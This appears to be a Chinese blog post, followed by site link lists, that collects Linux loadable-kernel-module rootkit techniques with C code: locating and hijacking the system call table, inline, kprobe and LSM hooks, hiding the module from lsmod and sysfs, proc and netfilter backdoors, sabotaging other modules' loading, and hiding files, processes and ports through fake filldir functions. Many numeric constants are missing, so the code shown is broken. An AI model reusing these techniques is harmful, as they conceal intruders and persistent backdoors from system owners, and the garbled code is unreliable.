简介

搜集一下linux lkm rootkit中常用的一些技巧

1、劫持系统调用

遍历地址空间

根据系统调用中的一些导出函数,比如sys_close的地址来寻找

unsigned long **
get_sys_call_table(void)
{
unsigned long **entry = (unsigned long **)PAGE_OFFSET; for (;(unsigned long)entry < ULONG_MAX; entry += ) {
if (entry[__NR_close] == (unsigned long *)sys_close) {
return entry;
}
} return NULL;
}

这要求判断的地址是导出函数,这样才能获取到地址

根据IDT地址,找到中断处理函数,再从中根据特征码找到系统调用表

在i386的机器中,使用如下代码调用系统调用表

call *sys_call_table(,%eax,)

这条指令的二进制代码是

0xff 0x14 0x85 <addr4> <addr3> <addr2> <addr1>

然后根据0xff 0x14 0x85这3个特征码去寻找表的地址

IDTR idtr; interrupt_descriptor *IDT, *sytem_gate;
asm("sidt %0" : "=m" (idtr));
IDT = (interrupt_descriptor *) idtr.base_addr;
system_gate = &IDT[0x80];
sys_call_asm = (char *) ((system_gate->off2 << ) | system_gate->off1);
for (i = ; i < 100; i++) {
if (sys_call_asm[i] == (unsigned char) 0xff &&
sys_call_asm[i+] == (unsigned char) 0x14 &&
sys_call_asm[i+] == (unsigned char) 0x85)
*guessed_sct = (unsigned int *) *(unsigned int *) &sys_call_asm[i+];
}

根据system.map来寻找

System.map位于/boot目录下,内核编译时生的符号表内容

直接在这个文件中寻找sys_call_table的地址

内核中kallsym寻找符号地址

内核中有查询符号表地址的函数,直接使用就可以了

//查询符号表的函数
static int khook_lookup_cb(long data[], const char *name, void *module, long addr)
{
int i = ; while (!module && (((const char *)data[]))[i] == name[i]) {
if (!name[i++]) return !!(data[] = addr);
} return ;
}
/*
利用kallsyms_on_each_symbol可以查询符号表,只需要传入查询函数就可以了
data[0]表示要查询的地址
data[1]表示结果
*/
static void *khook_lookup_name(const char *name)
{
long data[] = { (long)name, };
kallsyms_on_each_symbol((void *)khook_lookup_cb, data);
return (void *)data[];
}

内联钩子

替换掉内核代码的前一部分,实现劫持内核其他的函数逻辑

具体可以看这里:https://www.cnblogs.com/likaiming/p/10970543.html

系统派遣例程篡改

在整个系统调用的流程中,修改跳转到sys_call_table的地址的位置,然后跳转到自定义伪造系统调用表,这样也可以实现系统调用的劫持

模拟系统调用

写一段代码,用到sys_call_table,然后使用objdump查看地址

#include <stdio.h>
void fun1()
{
printf("fun1/n");
}
void fun2()
{
printf("fun2/n");
}
unsigned int sys_call_table[] = {fun1, fun2};
int main(int argc, char **argv)
{
asm("call *sys_call_table(%eax,4");
}

通过/dev/kmem访问内存来实现系统调用表的搜寻

这种方式统一和之前的内存地址搜寻一样,需要特征码,比如说0xff 0x14 0x85

kprobes

它的工作方式如下:

1. 用户指定一个探测点,并把一个用户定义的处理函数关联到该探测点
2. 在注册探测点的时候,对被探测函数的指令码进行替换,替换为int 3的指令码
3. 在执行int 3的异常执行中,通过通知链的方式调用kprobe的异常处理函数
4. 在kprobe的异常出来函数中,判断是否存在pre_handler钩子,存在则执行
5. 执行完后,准备进入单步调试,通过设置EFLAGS中的TF标志位,并且把异常返回的地址修改为保存的原指令码
6. 代码返回,执行原有指令,执行结束后触发单步异常
7. 在单步异常的处理中,清除单步标志,执行post_handler流程,并最终返回

LSM hook技术

修改LSM的钩子函数,也就是全局表security_ops的函数指针

2、隐藏模块

删除全局模块链表

lsmod命令是通过/proc/modules来获取当前系统模块信息的,而/proc/modules中的当前系统模块信息是内核利用struct modules结构体的表头遍历内核模块链表、从所有模块的struct module结构体中获取模块的相关信息来得到的。结构体struct module在内核中代表一个内核模块。通过insmod(实际执行init_module系统调用)把自己编写的内核模块插入内核时,模块便与一个 struct module结构体相关联,并成为内核的一部分,所有的内核模块都被维护在一个全局链表中,链表头是一个全局变量struct module *modules。任何一个新创建的模块,都会被加入到这个链表的头部,通过modules->next即可引用到。为了让我们的模块在lsmod命令中的输出里消失掉,我们需要在这个链表内删除我们的模块

从sysfs中隐藏模块

除了lsmod命令和相对应的查看/proc/modules以外,我们还可以在sysfs中,也就是通过查看/sys/module/目录来发现现有的模块

这个问题也很好解决,在初始化函数中添加一行代码即可解决问题

kobject_del(&THIS_MODULE->mkobj.kobj);

从文件隐藏的角度来隐藏模块

前面说到,用户态读取模块信息是proc/modules和sys/modules,可以采用隐藏文件的方式来隐藏这两个文件的信息

3、后门

使用proc文件提高进程权限

新建一个proc文件(当然最后要隐藏),然后自定义file_operation中的写操作,用来提取权限

使用netfilter过滤进入系统的网络包,通过网络包中特殊字段来做到控制系统

4、防止其他模块加载

注册或者注销模块通知处理函数可以使用 register_module_notifier 或者unregister_module_notifier

编写一个通知处理函数,然后填充 struct notifier_block 结构体, 最后使用register_module_notifier 注册就可以了

int module_notifier(struct notifier_block *nb,
unsigned long action, void *data); struct notifier_block nb = {
.notifier_call = module_notifier,
.priority = INT_MAX
};

处理函数里面再更改权限

int
fake_init(void);
void
fake_exit(void); int
module_notifier(struct notifier_block *nb,
unsigned long action, void *data)
{
struct module *module;
unsigned long flags;
// 定义锁。
DEFINE_SPINLOCK(module_notifier_spinlock); module = data;
fm_alert("Processing the module: %s\n", module->name); //保存中断状态加锁。
spin_lock_irqsave(&module_notifier_spinlock, flags);
switch (module->state) {
case MODULE_STATE_COMING:
fm_alert("Replacing init and exit functions: %s.\n",
module->name);
// 偷天换日:篡改模块的初始函数与退出函数。
module->init = fake_init;
module->exit = fake_exit;
break;
default:
break;
} // 恢复中断状态解锁。
spin_unlock_irqrestore(&module_notifier_spinlock, flags); return NOTIFY_DONE;
} int
fake_init(void)
{
fm_alert("%s\n", "Fake init."); return ;
} void
fake_exit(void)
{
fm_alert("%s\n", "Fake exit."); return;
}

5、隐藏文件

到文件隐藏,我们不妨先看看文件遍历的实现,在linux内核中,fs\readdir.c中,有3个用来遍历文件的系统调用,old_readdir,getdents和getdents64,看其中两个,也就是系统调用getdents / getdents64 ,简略地浏览它在内核态服务函数(sys_getdents)的源码 (位于fs/readdir.c),我们可以看到如下调用层次, sys_getdents ->iterate_dir -> struct file_operations 里的 iterate->这儿省略若干层次 -> struct dir_context 里的 actor ,也就是filldir

filldir 负责把一项记录(比如说目录下的一个文件或者一个子目录)填到返回的缓冲区里。如果我们钩掉filldir ,并在我们的钩子函数里对某些特定的记录予以直接丢弃,不填到缓冲区里,上层函数与应用程序就收不到那个记录,也就不知道那个文件或者文件夹的存在了,也就实现了文件隐藏。

具体说来,我们的隐藏逻辑如下: 篡改根目录(也就是“/”)的 iterate为我们的假 iterate , 在假函数里把 struct dir_context 里的 actor替换成我们的 假 filldir ,假 filldir 会把需要隐藏的文件过滤掉。

int
fake_iterate(struct file *filp, struct dir_context *ctx)
{
// 备份真的 ``filldir``,以备后面之需。
real_filldir = ctx->actor; // 把 ``struct dir_context`` 里的 ``actor``,
// 也就是真的 ``filldir``
// 替换成我们的假 ``filldir``
*(filldir_t *)&ctx->actor = fake_filldir; return real_iterate(filp, ctx);
} int
fake_filldir(struct dir_context *ctx, const char *name, int namlen,
loff_t offset, u64 ino, unsigned d_type)
{
if (strncmp(name, SECRET_FILE, strlen(SECRET_FILE)) == ) {
// 如果是需要隐藏的文件,直接返回,不填到缓冲区里。
fm_alert("Hiding: %s", name);
return ;
} /* pr_cont("%s ", name); */ // 如果不是需要隐藏的文件,
// 交给的真的 ``filldir`` 把这个记录填到缓冲区里。
return real_filldir(ctx, name, namlen, offset, ino, d_type);
}

通用宏

# define set_f_op(op, path, new, old)                       \
do { \
struct file *filp; \
struct file_operations *f_op; \
\
fm_alert("Opening the path: %s.\n", path); \
filp = filp_open(path, O_RDONLY, ); \
if (IS_ERR(filp)) { \
fm_alert("Failed to open %s with error %ld.\n", \
path, PTR_ERR(filp)); \
old = NULL; \
} else { \
fm_alert("Succeeded in opening: %s\n", path); \
f_op = (struct file_operations *)filp->f_op; \
old = f_op->op; \
\
fm_alert("Changing iterate from %p to %p.\n", \
old, new); \
disable_write_protection(); \
f_op->op = new; \
enable_write_protection(); \
} \
} while()

比如这么调用下面的代码

void *dummy;
set_file_op(iterate, "/", real_iterate, dummy);

6、隐藏进程

Linux 上纯用户态枚举并获取进程信息,/proc 是唯一的去处。所以,对用户态隐藏进程,我们可以隐藏掉/proc 下面的目录,这样用户态能枚举出来进程就在我们的控制下了。读者现在应该些许体会到为什么文件隐藏是重点内容了。

int
fake_filldir(struct dir_context *ctx, const char *name, int namlen,
loff_t offset, u64 ino, unsigned d_type)
{
char *endp;
long pid; // 把字符串变成长整数。
pid = simple_strtol(name, &endp, ); if (pid == SECRET_PROC) {
// 是我们需要隐藏的进程,直接返回。
fm_alert("Hiding pid: %ld", pid);
return ;
} /* pr_cont("%s ", name); */ // 不是需要隐藏的进程,交给真的 ``filldir`` 填到缓冲区里。
return real_filldir(ctx, name, namlen, offset, ino, d_type);

7、隐藏端口

向用户态隐藏端口, 其实就是在用户进程读/proc下面的相关文件获取端口信息时, 把需要隐藏的的端口的内容过滤掉,使得用户进程读到的内容里面没有我们想隐藏的端口。
具体说来,看下面的表格。
网络类型 /proc 文件 内核源码文件 主要实现函数
TCP / IPv4 /proc/net/tcp net/ipv4/tcp_ipv4.c tcp4_seq_show
TCP / IPv6 /proc/net/tcp6 net/ipv6/tcp_ipv6.c tcp6_seq_show
UDP / IPv4 /proc/net/udp net/ipv4/udp.c udp4_seq_show
UDP / IPv6 /proc/net/udp6 net/ipv6/udp.c udp6_seq_show

linux lkm rootkit常用技巧的更多相关文章

  1. 后门技术和Linux LKM Rootkit详解

    2010-01-15 10:32 chinaitlab chinaitlab 字号:T | T 在这篇文章里, 我们将看到各种不同的后门技术,特别是 Linux的可装载内核模块(LKM). 我们将会发 ...

  2. Linux学习之常用技巧

    ▌基础 学习 Bash .你可以man bash来看看bash的东西,并不复杂也并不长.你用别的shell也行,但是bash是很强大的并且也是系统默认的.(学习zsh或tsch只会让你在很多情况下受到 ...

  3. linux下的常用技巧。

    xargs  linux下的多行合并~ [root@]# yum list installed|grep php|awk -F ' ' '{print $1}' php-channel-nrk.noa ...

  4. LKM rootkit:Reptile学习

    简介 Reptile是github上一个很火的linux lkm rootkit,最近学习了一些linux rootkit的内容,在这里记录一下. 主要是分析reptile的实现 Reptile的使用 ...

  5. 【shell 大系】Linux Shell常用技巧

    在最近的日常工作中由于经常会和Linux服务器打交道,如Oracle性能优化.我们数据采集服务器的资源利用率监控,以及Debug服务器代码并解决其效率和稳定性等问题.因此这段时间总结的有关Linux ...

  6. Linux Shell常用技巧(目录)

    Linux Shell常用技巧(一) http://www.cnblogs.com/stephen-liu74/archive/2011/11/10/2240461.html一. 特殊文件: /dev ...

  7. Linux Shell编程之常用技巧

    前言 本文集中介绍了bash编程中部分高级编程方法和技巧.通过学习本文内容,可以帮你解决以下问题: 1.bash可以网络编程么? 2..(){ .|.& };. 据说执行这些符号可以死机,那么 ...

  8. Linux Shell常用技巧

    转载自http://www.cnblogs.com/stephen-liu74/ 一.    特殊文件: /dev/null和/dev/tty Linux系统提供了两个对Shell编程非常有用的特殊文 ...

  9. [转帖]Linux Shell常用技巧(五)

    Linux Shell常用技巧(五) https://zhuanlan.zhihu.com/p/73451771 1. 变量:在awk中变量无须定义即可使用,变量在赋值时即已经完成了定义.变量的类型可 ...

随机推荐

  1. HDU 3689 Infinite monkey theorem ——(自动机+DP)

    这题由于是一个单词,其实直接kmp+dp也无妨.建立自动机当然也是可以的.设dp[i][j]表示匹配到第i个字母的时候,在单词中处于第j个位置的概率,因此最终的答案是dp[0~m][len],m是输入 ...

  2. Linux设备驱动程序 之 内核符号表

    insmod使用公共内核符号表来解析模块中未定义的符号.功能内核符号表中包含了所有全局内核项(函数和变量)的地址,这是实现模块化驱动程序所必须的.当模块装载到内核后,它所导出的任何符号都会变成内核符号 ...

  3. Nginx之编写HTTP模块

    1. 常用数据结构 1.1 ngx_str_t typedef struct { /* * 字符串的有效长度 */ size_t len; /* * 有效字符串的起始地址,该字符串通常并不以'\0'结 ...

  4. 黑马vue---18、v-for指令的四种使用方式

    黑马vue---18.v-for指令的四种使用方式 一.总结 一句话总结: (item, i) in list:什么in什么的形式,前面是各种参数 1.v-for循环普通数组? <p v-for ...

  5. arcgis python获得字段唯一值

    arcgis python获得字段唯一值 # Import native arcgisscripting moduleimport arcgisscripting, sys# Create the g ...

  6. POJ 3083 -- Children of the Candy Corn(DFS+BFS)TLE

    POJ 3083 -- Children of the Candy Corn(DFS+BFS) 题意: 给定一个迷宫,S是起点,E是终点,#是墙不可走,.可以走 1)先输出左转优先时,从S到E的步数 ...

  7. python下载服务器

    大佬们,你们还在为传输文件时利用U盘插拔而苦恼吗,还在为设置文件共享而苦恼吗?别苦恼了,教你一秒实现文件的传输. 首先我们都要有python环境,这个肯定有. 下面就是一秒,在你要传的文件的目录下输入 ...

  8. 使用IEDriverServer.exe驱动IE,实现自动化测试

    1. 下载IEDriverServer: https://www.nuget.org/packages?q=IEDriver 2. 解压缩得到IEDriverServer.exe和IEDriverSe ...

  9. error: atomic: 没有那个文件或目录

    Linux下编译的时候遇到一个问题,就是提示    error: atomic: 没有那个文件或目录 执行的命令是gcc -o myCXXLog myCXXLog.c 经过网上搜索,解决方法有二 (1 ...

  10. linux的dos开关机命令

    常用:halt.reboot CentOS关机命令: 重启命令 reboot shutdown -r now 立刻重启 shutdown -r 10 过10分钟自动重启 shutdown -r 20: ...